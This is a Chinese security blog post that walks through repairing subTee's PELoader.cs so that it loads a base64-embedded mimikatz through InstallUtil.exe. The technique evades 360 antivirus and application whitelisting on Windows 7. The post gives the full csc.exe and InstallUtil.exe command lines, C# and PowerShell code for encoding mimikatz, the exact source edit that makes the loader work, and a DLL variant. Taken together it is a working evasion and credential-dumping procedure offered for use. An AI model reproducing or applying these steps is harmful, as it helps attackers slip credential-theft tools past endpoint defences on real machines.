最近 subTee
在其博客中介绍了如何利用白名单绕过防护,但细节存在 bug
,所以本文仅介绍如何修复其 bug
并利用该方法绕过 360
,更多利用方法值得探索
博客链接:
http://subt0x10.blogspot.hk/ (需翻墙)
文章地址:
http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html (需翻墙)
下载最新版本 Mimikatz
,实现绕过杀毒软件的查杀。
操作系统: Win7 x64
mimikatz版本: 2.0 alpha 20150906 (oe.eo) edition
(目前为止最新)
下载链接: https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906
测试日期:9/14/2015
建议先了解参考链接,链接中提到的相关基础知识不做再次介绍
毫无疑问,被查杀,如图
(1)下载 https://gist.github.com/subTee/00cdac8990584bd2c2fe 并保存为 PELoader.cs
(2)参照博客中的示例,执行如下代码:
C:/Windows/Microsoft.NET/Framework64/v4.0.30319/csc.exe /unsafe /out:PELoader.exe PELoader.cs C:/Windows/Microsoft.NET/Framework64/v4.0.30319/InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如图,生成 PELoader.exe
,然后通过 InstallUtil.exe
执行 PELoader.exe
成功加载运行 mimikatz
进程显示为 InstallUtil.exe
,如图
(3)测试生成的 PELoader.exe
查杀情况
如图,360成功检测威胁
(4)尝试修改 PELoader.cs
阅读代码发现 Line853-856
存储了 base64
加密后的mimikatz
那么参照作者给出的修改方法修改
作者给出的修改方法如下:
* Base64 Encode Mimikatz In PowerShell- $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64") * [OR] byte[] AsBytes = File.ReadAllBytes(@"C:/Tools/Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:/Tools/Mimikatz.b64"); sw.Write(AsBase64String); sw.Close(); *
(5)测试 Base64 Encode Mimikatz In PowerShell
按照作者给出的方法对 mimikatz
作 base64
编码并保存在Mimikatz.b64文件中
如图
执行 Powershell
代码
执行后生成 Mimikatz.b64
,如图
打开将内容复制到 PELoader.cs
中的变量 KatzCompressed
的定义中,如图
按照步骤(2)执行测试,发现错误,如图
作者给出的实例代码如果无法修改,未免太鸡肋,必须找到修改方法,实现执行任意程序
在做了多次实验并研究代码后成功找到了错误原因:
Powershell
作 base64
编码同 c#
对 base64
解码之间存在解析错误
解决步骤:
(1)使用c#对mimikatz作base64加密
代码如下:
using System; using System.IO; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace test1 { class Program { static void Main(string[] args) { byte[] AsBytes = File.ReadAllBytes(@"C:/testcs/mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:/testcs/mimikatz.b64"); sw.Write(AsBase64String); sw.Close(); } } }
我使用的环境是 vs2012
,新建 c#
工程,填写以上代码,编译后运行,生成新的 mimikatz.b64
,如图
细心的同学可以发现和之前使用 Powershell
生成的 mimikatz.b64
有所区别
(2)替换变量 KatzCompressed
的定义内容
如图
(3)修改解密过程
定位 PELoader.cs
Line106,去掉
byte[] decompressed = Decompress(FromBase64);
在前面添加“//”即可,如图
(4)再次编译并利用 InstallUtil.exe
执行
C:/Windows/Microsoft.NET/Framework64/v4.0.30319/csc.exe /unsafe /out:PELoader.exe PELoader.cs C:/Windows/Microsoft.NET/Framework64/v4.0.30319/InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
如图
证明修改成功,能够顺利执行我们修改的代码
采用如下生成步骤:
C:/Windows/Microsoft.NET/Framework64/v4.0.30319/csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs C:/Windows/Microsoft.NET/Framework64/v4.0.30319/InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll
如图
也可以成功加载 mimikatz
测试查杀情况
如图
注:测试全过程开启360,主动防御未触发
通过 InstallUtil.exe
执行程序的方法不仅可使程序逃过杀毒软件的查杀,更能够规避程序运行白名单的限制,其他操作系统下的情况有所不同,更多细节值得研究。
参照 zone
中大家的建议,希望这篇文章是大家喜欢看到的类型:)
本文由三好学生原创并首发于乌云drops,转载请注明